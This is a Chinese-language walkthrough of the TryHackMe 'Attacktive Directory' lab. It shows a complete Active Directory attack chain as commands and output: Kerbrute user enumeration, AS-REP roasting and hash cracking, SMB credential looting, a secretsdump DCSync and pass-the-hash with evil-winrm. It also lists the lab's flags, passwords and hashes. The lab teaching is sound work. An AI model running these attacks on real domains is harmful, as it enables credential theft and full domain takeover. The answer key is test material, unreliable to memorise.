

THM-Attactive Directory(AD域渗透基础)-练习

本文相关的TryHackMe实验房间链接：<https://tryhackme.com/room/attackivedirectory>

H2 部署实验环境和工具安装

部署TryHackMe中的目标机器，可以选择使用TryHackMe提供的在线攻击机完成实验（已经配置好工具），如果是使用自己的kali机进行实验（用OpenVpn连接到靶机所在的内网）还需要自己配置一些工具。

在使用本地kali机作为攻击机的情况下：

安装Impacket

Impacket是用于处理网络协议的Python类的集合。Impacket专注于提供对数据包的简单编程访问，以及协议实现本身的某些协议（例如SMB1-3和MSRPC）。数据包可以从头开始构建，也可以从原始数据中解析，而面向对象的API使处理协议的深层次结构变得简单。该库提供了一组工具，作为在此库找到可以执行的操作的示例。

有关某些工具的说明，请访问Impacket官网：<https://www.secureauth.com/labs/open-source-tools/impacket>

Impacket项目地址：<https://github.com/SecureAuthCorp/impacket>

Impacket基础用法-博客：<https://www.cnblogs.com/backlion/p/10676339.html>

首先，你需要将 Impacket Github 存储库克隆到你的攻击机上，以下命令会将 Impacket 克隆到 /opt/impacket 中：

#在kali机的/目录下

```
git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket
```

#如果此处提示失败，大概率是网络原因

#请打开：/etc/hosts

#请添加：140.82.112.4 github.com

克隆完repo之后，你会注意到几个与安装相关的文件，requirements.txt 和 setup.py。安装过程中经常跳过前置配置的文件是 setup.py，它的作用是将 Impacket 安装到你的系统上，你可以直接使用它而不必担心任何依赖项。

先安装Impacket的python依赖项：

```
pip3 install -r /opt/impacket/requirements.txt
```

一旦requirements完成了安装，我们就可以直接运行python以安装setup脚本：

```
cd /opt/impacket/ && python3 ./setup.py install
```

```
Finished processing dependencies for impacket==0.10.1.dev1+20220720.103933.3c6713e3
(root🔥hekeats)-[/opt/impacket]
```

现在应该成功地完成了安装，如果仍然出现问题-----请再次尝试以下命令：

```
sudo git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket
sudo pip3 install -r /opt/impacket/requirements.txt
cd /opt/impacket/
sudo pip3 install .
sudo python3 setup.py install
```

安装Bloodhound和Neo4j

Bloodhound 是我们在攻击活动目录时将使用的另一个工具。稍后我们将介绍该工具的具体细节，但现在，我们需要使用 apt命令 安装两个软件包，即 Bloodhound 和 neo4j，你可以使用以下命令安装：

```
apt install bloodhound neo4j
```

```
(root@hekeats)-[/home/hekeats/TOOLS]
# apt install bloodhound neo4j
正在读取软件包列表... 完成
正在分析软件包的依赖关系树... 完成
正在读取状态信息... 完成
下列【新】软件包将被安装：
  bloodhound neo4j
升级了 0 个软件包，新安装了 2 个软件包，要卸载 0 个软件包，有 596 个软件包未被升级。
需要下载 180 MB 的归档。
解压缩后会消耗 399 MB 的额外空间。
获取:1 http://kali.download/kali kali-rolling/main amd64 neo4j all 4.4.7-0kali1 [112 MB]
获取:2 http://kali.download/kali kali-rolling/main amd64 bloodhound amd64 4.2.0-0kali1 [68.3 MB]
已下载 180 MB，耗时 10秒 (18.1 MB/s)
正在选中未选择的软件包 neo4j。
(正在读取数据库 ... 系统当前共安装有 379364 个文件和目录。 )
准备解压 .../neo4j_4.4.7-0kali1_all.deb ...
正在解压 neo4j (4.4.7-0kali1) ...
正在选中未选择的软件包 bloodhound。
准备解压 .../bloodhound_4.2.0-0kali1_amd64.deb ...
正在解压 bloodhound (4.2.0-0kali1) ...
正在设置 neo4j (4.4.7-0kali1) ...
正在设置 bloodhound (4.2.0-0kali1) ...
正在处理用于 kali-menu (2022.4.1) 的触发器 ...
```

在安装Bloodhound和Neo4j时，如果有任何问题，可以尝试以下命令：

```
apt update && apt upgrade
```

H2 枚举一般信息

注意: 每个用户帐户的标志都可以提交。你可以通过 RDP 检索用户帐户的标志(在 Window 的登录提示符处的登录格式是 spookysec.local\User)，并通过 evil-WinRM 检索管理员。

使用nmap进行端口扫描

```
nmap -sC -sV -A -T4 10.10.78.23
```

tips: 此处升级了一下kali里面的openvpn，然后发现连接失效，可以通过cd /etc/openvpn/ 然后查看 update-resolv-conf 文件，发现：新版的openvpn识别的是.openvpn后缀的文件。更改原配置文件（由靶场提供的配置文件）后缀名即可重新连接到TryHackMe靶场的内网环境。

```

# nmap -sV -A -T4 10.10.78.23
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-15 19:15 CST
Nmap scan report for localhost (10.10.78.23)
Host is up (0.25s latency).
Not shown: 987 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
53/tcp    open  domain         Simple DNS Plus
80/tcp    open  http           Microsoft IIS httpd 10.0
|_ http-methods:
|_ Potentially risky methods: TRACE
|_ http-title: IIS Windows Server
|_ http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec   Microsoft Windows Kerberos server time: 2022-10-15 11:16:14Z)
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap           Microsoft Windows Active Directory LDAP (Domain: spookyssec.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http     Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap           Microsoft Windows Active Directory LDAP (Domain: spookyssec.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server  Microsoft Terminal Services
|_ ssl-cert: Subject: commonName=AttacktiveDirectory.spookyssec.local
|_ Not valid before: 2022-10-14T09:12:00
|_ Not valid after: 2023-04-15T09:12:00
|_ ssl-date: 2022-10-15T11:16:50+00:00; -1s from scanner time.
|_ rdp-ntlm-info:
|_ Target_Name: THM-AD
|_ NetBIOS_Domain_Name: THM-AD
|_ NetBIOS_Computer_Name: ATTACKTIVEDIREC
|_ DNS_Domain_Name: spookyssec.local
|_ DNS_Computer_Name: AttacktiveDirectory.spookyssec.local
|_ Product_Version: 10.0.17763
|_ System_Time: 2022-10-15T11:16:42+00:00

```

获取到的信息：目标机是Windows系统，运行了web服务、SMB协议服务、启用了AD域；NetBIOS-Domain名称为THM-AD、AD域名称为spookyssec.local

我们发现了139/445端口，这两个端口运行的是SMB协议服务，我们可以用 enum4linux（smb专用扫描器、samba专用扫描器）来枚举SMB服务的信息。

```
enum4linux -a 10.10.78.23
```

答题卡

tips: TLD意思为顶级域名

回答以下问题

什么工具可以让我们枚举端口 139/445?

正确答案

机器的 NetBIOS 域名是什么?

正确答案

人们通常将哪些无效 TLD 用于其 Active Directory 域?

正确答案

💡 暗示

H2 通过 Kerberos 枚举用户

根据端口扫描的结果，我们知道目标机上有许多服务在运行，包括Kerberos服务，Kerberos 是 Active Directory 中的一项密钥身份验证服务。

知道Kerberos服务对应的端口打开后，我们可以使用名为 **Kerbrute** 的工具来进行暴力匹配用户、密码甚至密码喷洒攻击！

此处所需要的字典（CTRL+S保存到本地即可）：

用户字典：<https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/userlist.txt>

密码字典：<https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/passwordlist.txt>

通过Kerberos枚举用户：

#进入到**kerbrute**工具的放置目录下

```
./kerbrute userenum -d spookysec.local --dc 10.10.78.23  
/usr/share/wordlists/attacktive-directory/userlist.txt
```

#使用 **./kerbrute -h** 查看帮助

```
(root@hekeats)~/home/hekeats/TOOLS  
# ./kerbrute userenum -d spookysec.local --dc 10.10.78.23 /usr/share/wordlists/attacktive-directory/userlist.txt
```

Version: v1.0.3 (9dad6e1) - 10/15/22 - Ronnie Flathers @ropnop

2022/10/15 20:48:26 > Using KDC(s):

2022/10/15 20:48:26 > 10.10.78.23:88

```
2022/10/15 20:48:27 > [+] VALID USERNAME: james@spookysec.local  
2022/10/15 20:48:31 > [+] VALID USERNAME: svc-admin@spookysec.local  
2022/10/15 20:48:38 > [+] VALID USERNAME: James@spookysec.local  
2022/10/15 20:48:39 > [+] VALID USERNAME: robin@spookysec.local  
2022/10/15 20:49:01 > [+] VALID USERNAME: darkstar@spookysec.local  
2022/10/15 20:49:15 > [+] VALID USERNAME: administrator@spookysec.local  
2022/10/15 20:49:43 > [+] VALID USERNAME: backup@spookysec.local  
2022/10/15 20:49:55 > [+] VALID USERNAME: paradox@spookysec.local  
2022/10/15 20:51:18 > [+] VALID USERNAME: JAMES@spookysec.local  
2022/10/15 20:51:46 > [+] VALID USERNAME: Robin@spookysec.local  
2022/10/15 20:54:29 > [+] VALID USERNAME: Administrator@spookysec.local  
2022/10/15 20:59:57 > [+] VALID USERNAME: Darkstar@spookysec.local  
2022/10/15 21:01:42 > [+] VALID USERNAME: Paradox@spookysec.local  
2022/10/15 21:07:33 > [+] VALID USERNAME: DARKSTAR@spookysec.local  
2022/10/15 21:09:16 > [+] VALID USERNAME: ori@spookysec.local  
2022/10/15 21:12:24 > [+] VALID USERNAME: ROBIN@spookysec.local  
2022/10/15 21:20:07 > Done! Tested 73317 usernames (16 valid) in 1900.993 seconds
```

获取的信息：svc-admin、administrator、backup等关键账户名称

答题卡

回答以下问题

Kerbrute 中的什么命令可以让我们枚举有效的用户名？

userenum

正确答案

💡 暗示

发现了什么值得注意的帐户？（这些应该跳出来）

svc-admin

正确答案

发现的另一个值得注意的帐户是什么？（这些应该跳出来）

backup

正确答案

H2 滥用Kerberos

介绍

用户帐户枚举完成后，我们可以尝试使用一种称为ASREPROasting的攻击方法来滥用 Kerberos 中的功能。当用户帐户设置了“不需要预身份验证”权限时，就可能发生ASREPROasting攻击。这意味着该帐户在请求指定用户帐户的Kerberos票据之前不需要提供有效的身份证明。

关于AS-REP Roasting攻击

AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。但是该攻击方式利用比较局限，因为其需要用用户账号设置 "Do not require Kerberos preauthentication(不需要kerberos预身份验证)"。而该属性默认是没有勾选上的。

预身份验证是Kerberos身份验证的第一步(AS_REQ & AS_REP)，它的主要作用是防止密码脱机爆破。默认情况下，预身份验证是开启的，KDC会记录密码错误次数，防止在线爆破。

当关闭了预身份验证后，攻击者可以使用指定用户去请求票据，此时域控不会作任何验证就将 TGT票据 和该用户Hash加密的Session Key返回。因此，攻击者就可以对获取到的 用户Hash加密的Session Key进行离线破解，如果破解成功，就能得到该指定用户的密码明文。

AS-REP Roasting攻击条件

- 域用户设置了“Do not require Kerberos preauthentication(不需要kerberos预身份验证)”
- 需要一台可与KDC进行通信的主机/用户

获取 Kerberos 票据

Impacket 有一个名为“GetNPUsers.py”的工具（位于 `impacket/examples/GetNPUsers.py`），它允许我们从密钥分发中心查询ASReproastable帐户并获取到票据。查询帐户唯一需要的是一组有效的用户名，我们之前已经通过 Kerbrute 枚举了这些用户名。

请记住：Impacket可能还需要你使用 ≥ 3.7 的python版本。你可以通过使用命令 "python3.9 /opt/impacket/examples/GetNPUsers.py "来执行脚本。

```
python /opt/impacket/examples/GetNPUsers.py spookyssec.local/svc-admin -no-pass
#需要在/etc/hosts中绑定一下dns，否则此处的spookyssec.local将无法识别
# 10.10.78.23 spookyssec.local
```

```
(root@hekeats)~# /opt/
python /opt/impacket/examples/GetNPUsers.py spookyssec.local/svc-admin -no-pass
Impacket V0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation

[*] Getting TGT for svc-admin
$krb5asrep$23$svc-admin$SP00KYSSEC.LOCAL:a6077ba9cfb6c22682db4a3669b2e427$4fecf26dc1a45324b0949e082722f80ddbc62ef6f16f77dce0c83f5459e906225709b0bce69e4b872eadf914f6b321078af84367223322479c84b6f8fb6162bd91b88bdf218eab318da3e8824303b81c5c2200a661d821ceb0db4fccc5356dc0d8d124a7f399ea2ea35b09b5546b7663ebe6b27b64330565b714d171a7fe058eb98467cae168baacbb15e7483f877bdada6596138d81f76da9df3aa48bbcf1523023a25a6b8e5bf4bda7f55ac3506b966149f4590b56fad548c9dcabf1f39b56eed82810ae27c649ae249a26626cd24522a83603e0b71a6cc0165008bf6198789e754f885f0bc837897a9158c606c6

(root@hekeats)~# /opt/
```

将获取到的hash值保存为hash.txt文件，查询hash加密的类型(观察上图hash值的前缀)，在线查询：https://hashcat.net/wiki/doku.php?id=example_hashes

hashcat.net/wiki/doku.php?id=example_hashes	16600 Electrum Wallet (Salt-Type 1-3)	\$electrum\$1*4435828310460316538361	\$krb5asrep\$
	16700 FileVault 2	\$fve\$1*10584286044060108438487434	
	16800 WPA-PMKID-PBKDF2 1	2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfa6	
	16801 WPA-PMKID-PMK 15	2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4	
	16900 Ansible Vault	\$ansible\$0*0*6b761adc6faeb0cc0bf157d3d4a4a7d3f1682e4b169cae8fa6b459b3214ed41e*426	
	17010 GPG (AES-128/AES-256 (SHA-1(\$pass)))	\$gpg\$*1*348*1024*8833fa3812b500aa9eb7e46febfa31a0584b7e4a5b13c198f5c9b08142438	
	17200 PKZIP (Compressed)	\$pkzip2\$1*1*2*0*e3*1c5*eda7a8de*0*28*8*e3*eda7*5096*a9cf1f4e951c8fb3031a6f903e5f	
	17210 PKZIP (Uncompressed)	\$pkzip2\$1*1*2*0*1d1*1c5*eda7a8de*0*28*0*1d1*eda7*5096*1dea673da43d9fc7e2be1a1f4	
	17220 PKZIP (Compressed Multi-File)	\$pkzip2\$3*1*1*0*8*24*a425*8827*d1730095cd829e245df04ebba6c52c0573d49d3bbeab6cb	
	17225 PKZIP (Mixed Multi-File)	\$pkzip2\$3*1*1*0*0*24*342c*3ef8*0619e9d17ff3f994065b99b1fa8aef41c056edf9fa4540919c	
	17230 PKZIP (Mixed Multi-File Checksum-Only)	\$pkzip2\$8*1*1*0*8*24*a425*8827*3bd479d541019c2f32395046b8fbca7e1dca218b9b541497	
	17300 SHA3-224	412ef78534ba6ab0e91607d3e9767a25c1ea9d5e83176b4c2817a6c	
	17400 SHA3-256	d60fc6f585da4e17224f58858970f0ed5ab042c3916b76b0b828e62eaf636cbd	
	17500 SHA3-384	983ba28532cc630d04f20fa485bcd8b38bddb666eca5f1e5aa279ff1c6244fe5f83cf4bbf05b95ff37	
	17600 SHA3-512	7c2dc1d74373514e069f3bda85b1b7e9172033dffd8cd599ca094ef8570f3930c3f2c0b7af8d615	
	17700 Keccak-224	e1dfad9bafec56ef15f5bbb16cf4c26f09f5f1e7870581962f2c84636	
	17800 Keccak-256	203f877718bb4ee1226627b547808f38d90d3e106262b5de9ca943b57137b6	
	17900 Keccak-384	5804b781a5806ba79540100e9a7ef493654ff2a21d94d4f2ce4bf69abda5d94bf03701fe9525a15d	
	18000 Keccak-512	2fbf5c080f0a704de2e915ba8fdae6ab00bbc026b2c1c8fa07da1239381c6b7f4dfd399bf9652500	
	18100 TOTP (HMAC-SHA1)	597056:3600	
	18200 Kerberos 5, etype 23, AS-REP	\$krb5asrep\$23\$user@domain.com:3e156ada591263b8aab0965f5aebd8375007497cb51b6c811	
	18300 Apple File System (APFS)	\$fve\$2\$16\$58778104701476542047675521040224\$3902e86b7cea4a34f4ff69ff6ed7	
	18400 Open Document Format (ODF) 1.2 (SHA-256 AES)	\$odf\$*1*1*10000*32*751854d8b80731ce0578f6b5a5f0d4ac2b7f546b31f1b6a9a5f660	

使用hashcat破解hash（结合之前获取到的字典）：

```
hashcat -m 18200 hash.txt /usr/share/wordlists/attacktive-directory/passwordlist.txt
```



```

hashcat -m 18200 hash.txt /usr/share/wordlists/attacktive-directory/passwordlist.txt
hashcat (v0.2.0) starting

OpenCL API (OpenCL 3.0 PoCL 3.0+debian Linux, None+Asserts, RELOC, LLVM 13.0.1, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=====
* Device #1: pthread-AMD Ryzen 7 6800H with Radeon Graphics, 1428/2921 MB (512 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/attacktive-directory/passwordlist.txt
* Passwords.: 70188
* Bytes.....: 569236
* Keyspace...: 70188
* Runtime....: 0 secs

$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:a6077ba9cfb6c22682db4a3669b2e427$4fecf26dc1a45324b0949e082722f80ddbc62ef6f16f77dce0c83f5459e906225709b0bce69e4b8720eadf914f6b321078af8436722332247f8fb6162bd91b88bdf218eaa318da3e8824303b81c5c2200a661d821ceb0db4fccc5356dc0d8d124a7f399ea2ea35b09b5546b7663ebe6b27b64330565b714d171a7fe058eb98467cae168baacbb15e7483f877bdada6596138d81f76da98bcbfc1523023a25a6b8e5bf4bda7f55ac3506b966149f4590b56fad548c9dcabf1f39b56eed82810ae27c649ae249a26626cd24522a83603e0b71a6cc0165008bf6198789e754f885f0bc837897a9158c606c6management2005

```

也可以使用john结合之前获取到的字典进行hash破解：



```
john --wordlist=/usr/share/wordlists/attacktive-directory/passwordlist.txt hash.txt
```

```

(root@hekeats)-[/home/hekeats/桌面]
# john --wordlist=/usr/share/wordlists/attacktive-directory/passwordlist.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 8 OpenMP threads
Press 'a' or Ctrl-C to abort, almost any other key for status
management2005 ($krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL)
ig 0:00:00:00 DONE (2022-10-15 21:16) 100.0g/s 819200p/s 819200c/s 819200c/s horoscope..whitey
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

```

账户为：svc-admin@spookysec.local

密码为：management2005

使用的hash算法：Kerberos5 AS-REP etype 23

答题卡

回答以下问题

我们有两个用户帐户，我们可能会从中查询票证。您可以从哪个用户帐户查询票证而无需密码？

svc-admin

正确答案

查看 Hashcat 示例 Wiki 页面，我们从 KDC 检索到什么类型的 Kerberos 哈希？（指定全名）

Kerberos5 AS-REP etype 23

正确答案

💡 暗示

哈希是什么模式？

18200

正确答案

现在用提供的修改后的密码列表破解哈希，用户帐户密码是什么？

management2005

正确答案

H2 再次枚举信息

现在我们已经有了凭据，我们可以尝试枚举SMB共享（通过smbclient程序），并使用刚才得到的凭据获取更多的详细信息：

```
smbclient -L 10.10.78.23 -U svc-admin #使用-L选项会列出共享
#或者: smbclient -L \\10.10.78.23 -U svc-admin
#密码为: management2005
```

```
(root@hekeats)-[/home/hekeats/桌面]
# smbclient -L 10.10.78.23 -U svc-admin
Password for [WORKGROUP\svc-admin]: 
Sharename      Type      Comment
-----
ADMIN$         Disk      Remote Admin
backup         Disk      Remote Admin
C$             Disk      Default share
IPC$           IPC       Remote IPC
NETLOGON       Disk      Logon server share
SYSVOL         Disk      Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.78.23 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

发现有一个共享的名称为备份（backup），登录smb 查看这个共享的信息并获取具体的备份文件：

```
smbclient \\10.10.78.23\backup -U svc-admin
#密码为: management2005
dir
get backup_credentials.txt
#也可以直接下载整个backup共享，使用命令: smbget -R smb://10.10.78.23/backup/ -U svc-admin
```

```

(root@hekeats)-[/home/hekeats/桌面]
# smbclient \\\\10.10.78.23\\backup -U svc-admin
Password for [WORKGROUP\\svc-admin]:
Try "help" to get a list of possible commands.
smb: \> dir
.                D           0   Sun Apr  5 03:08:39 2020
..               D           0   Sun Apr  5 03:08:39 2020
backup_credentials.txt  A       48   Sun Apr  5 03:08:53 2020

8247551 blocks of size 4096, 4225394 blocks available
smb: \> get backup_credentials.txt
getting file \backup_credentials.txt of size 48 as backup_credentials.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \> exit

```

查看备份文件信息：

```

(root@hekeats)-[/home/hekeats/桌面]
# cat backup_credentials.txt
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNRdXAyNTE3ODYw

```

获取的信息为（经过编码的备份登录凭据）：YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNRdXAyNTE3ODYw

解码之后得到：

```

(root@hekeats)-[/home/hekeats/TOOLS/basecrack]
# python3 basecrack.py -b YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNRdXAyNTE3ODYw

BASECRACK v4.0

python basecrack.py -h [FOR HELP]

[-] Encoded Base: YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNRdXAyNTE3ODYw
[>] Decoding as Base64: backup@spookysec.local:backup2517860
[-] The Encoding Scheme Is Base64

```

如果我们已经知道编码方式，此处也可以直接使用以下命令（终端界面请切换到文件所在的目录）：

```
base64 -d backup_credentials.txt
```

```
backup@spookysec.local:backup2517860
```

账户：backup@spookysec.local 密码：backup2517860

答题卡

回答以下问题

我们可以使用什么实用程序来映射远程 SMB 共享？

smbclient

正确答案

💡暗示

哪个选项会列出  共享

-L

正确答案

💡暗示

服务器列出了多少远程共享？

6

正确答案

我们可以访问一个包含文本文件的特定共享。是哪个份额？

backup

正确答案

文件的内容是什么？

YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw

正确答案

💡暗示

解码文件内容，完整内容是什么？

backup@spookysec.local:backup2517860

正确答案

H2 域权限提升

现在我们有了新的用户帐户凭据，我们可能在目标系统上拥有比以前更多的权限。帐户“备份”的用户名让我们思考。这是什么备份帐户？它可能是域控制器的备份帐户，具有允许所有 Active Directory 更改与此用户帐户同步的唯一权限，包括密码hash值。

我们可以在 Impacket 中使用另一个名为“secretsdump.py”的工具，这将允许我们检索此用户帐户（与域控制器同步）提供的所有密码hash值。利用这一点，我们将有效地完全控制这个 AD 域。



```
python3 /opt/impacket/examples/secretsdump.py -dc-ip 10.10.78.23 -target-ip
10.10.78.23 backup@spookysec.local
#此处要输入的密码为： backup2517860
```

```
(root@hekeats)-[ /home/hekeats/桌面 ]
# python3 /opt/impacket/examples/secretsdump.py -dc-ip 10.10.78.23 -target-ip 10.10.78.23 backup@spookysec.local
Impacket v0.10.1.dev1+20220720.103933.3c6/13e3 - Copyright 2022 SecureAuth Corporation

Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c665071067b6b:::
spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f1272656c9e:::
spookysec.local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e9965416f0d7096b703b:::
spookysec.local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:cfd70af882d53d758a1612af78a646b7:::
spookysec.local\Ori:1109:aad3b435b51404eeaad3b435b51404ee:c930ba49f999305d9c00a8745433d62a:::
spookysec.local\robin:1110:aad3b435b51404eeaad3b435b51404ee:642744a46b9d4f6dff8942d23626e5bb:::
spookysec.local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfa6ea46b5a302319c0cff2:::
spookysec.local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aa12b8c0fb705:::
spookysec.local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2fd2b675238664:::
spookysec.local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f69147375ba6809:::
spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4b40f1ca9aab45538:::
spookysec.local\a-spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
ATTACKTIVEDIRECTORY:1000:aad3b435b51404eeaad3b435b51404ee:69d5096a564d9b608efd9e77ea9af73a:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:713955f08a8654fb8f70afe0e24bb50eed14e53c8b2274c0c701ad2948ee0f48
Administrator:aes128-cts-hmac-sha1-96:e9077719bc770aff5d8bfc2d54d226ae
Administrator:des-cbc-md5:2079ce0e5df189ad
krbtgt:aes256-cts-hmac-sha1-96:b52e11789ed6709423fd7276148cfed7dea6f189f3234ed0732725cd77f45afc
krbtgt:aes128-cts-hmac-sha1-96:e7301235ae62dd8884d9b890f38e3902
krbtgt:des-cbc-md5:b94f97e97fabbf5d
spookysec.local\skidy:aes256-cts-hmac-sha1-96:3ad697673edca12a01d5237f0bee628460f1e1c348469eba2c4a530ceb432b04
spookysec.local\skidy:aes128-cts-hmac-sha1-96:484d875e30a678b56856b0fef09e1233
spookysec.local\skidy:des-cbc-md5:b092a73e3d256b1f
spookysec.local\breakerofthings:aes256-cts-hmac-sha1-96:4c8a03aa7b52505aeef79cecd3cfd69082fb7eda429045e950e5783eb8be51e5
spookysec.local\breakerofthings:aes128-cts-hmac-sha1-96:38a1f7262634601d2df08b3a004da425
spookysec.local\breakerofthings:des-cbc-md5:7a976bbfbab86b064
spookysec.local\james:aes256-cts-hmac-sha1-96:1bb2c7fdbecc9d33f303050d77b6bfff0e74d0184b5acbd563c63c102da389112
spookysec.local\james:aes128-cts-hmac-sha1-96:08fea47e79d2b085dae0e95f86c763e6
spookysec.local\james:des-cbc-md5:dc971f4a91dce5e9
```

获取到的信息：

Administrator的nthash：0e0363213e37b94221497260b0bcb4fc

现在我们有一堆哈希！我们可以使用一种名为 Pass the Hash 的攻击来使用管理员的哈希进行登录。有一个名为 Evil-WinRM 的工具可以让我们使用哈希，我们只需要安装它即可：`sudo gem install evil-winrm`。安装好了之后，我们就可以运行以下命令来获得访问权限：

```
#evil-winrm -i <target-ip> -u Administrator -H <hash>
evil-winrm -i 10.10.78.23 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc

#其他方式
#python3 psexec.py Administrator:@spookysec.local -hashes
aad3b435b51404XXXXX3b435b51404ee:0e0363213e37bXXXXX497260b0bcb4fc
```

```

*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode                LastWriteTime         Length Name
----                -
-a-----          4/4/2020  11:39 AM             32 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> more root.txt
TryHackMe{4ctiveD1rectoryM4st3r}

```

Administrator账户的flag: TryHackMe{4ctiveD1rectoryM4st3r}

答题卡

回答以下问题

什么方法允许我们转储 NTDS.DIT?

DRSUAPI

正确答案

提示

什么是管理员 NTLM 哈希?

0e0363213e37b94221497260b0bcb4fc

正确答案

什么攻击方法可以让我们在没有密码的情况下验证用户身份?

Pass The Hash

正确答案

使用名为 Evil-WinRM 的工具, 什么选项可以让我们使用哈希?

-H

正确答案

提示

H2 提交本次实验Flag

登陆管理员账户之后, 再进入其他用户目录并获取对应的Flag文件信息, 具体情况如下(Administrator账户的Flag在上一节已经找到, 此处不再赘述):

```

*Evil-WinRM* PS C:\Users> dir

Directory: C:\Users

Mode                LastWriteTime         Length Name
----                -
d-----          9/17/2020  4:04 PM         a-spooks
d-----          9/17/2020  4:02 PM      Administrator
d-----          4/4/2020  12:19 PM          backup
d-----          4/4/2020  1:07 PM      backup.THM-AD
d-r---          4/4/2020  11:19 AM         Public
d-----          4/4/2020  12:18 PM       svc-admin

```

```
*Evil-WinRM* PS C:\Users\svc-admin\Desktop> dir
```

```
Directory: C:\Users\svc-admin\Desktop
```

Mode	LastWriteTime	Length	Name
-a----	4/4/2020 12:18 PM	28	user.txt.txt

```
*Evil-WinRM* PS C:\Users\svc-admin\Desktop> more user.txt.txt  
TryHackMe{K3rb3r0s_Pr3_4uth}
```

svc-admin账户的flag: TryHackMe{K3rb3r0s_Pr3_4uth}

```
*Evil-WinRM* PS C:\Users\backup\Desktop> dir
```

```
Directory: C:\Users\backup\Desktop
```

Mode	LastWriteTime	Length	Name
-a----	4/4/2020 12:19 PM	26	PrivEsc.txt

```
*Evil-WinRM* PS C:\Users\backup\Desktop> more PrivEsc.txt  
TryHackMe{B4ckM3UpSc0tty!}
```

backup账户的flag: TryHackMe{B4ckM3UpSc0tty!}

答题卡

Answer the questions below

svc-admin

TryHackMe{K3rb3r0s_Pr3_4uth}

Correct Answer

backup

TryHackMe{B4ckM3UpSc0tty!}

Correct Answer

Administrator

TryHackMe{4ctiveD1rectoryM4st3r}

Correct Answer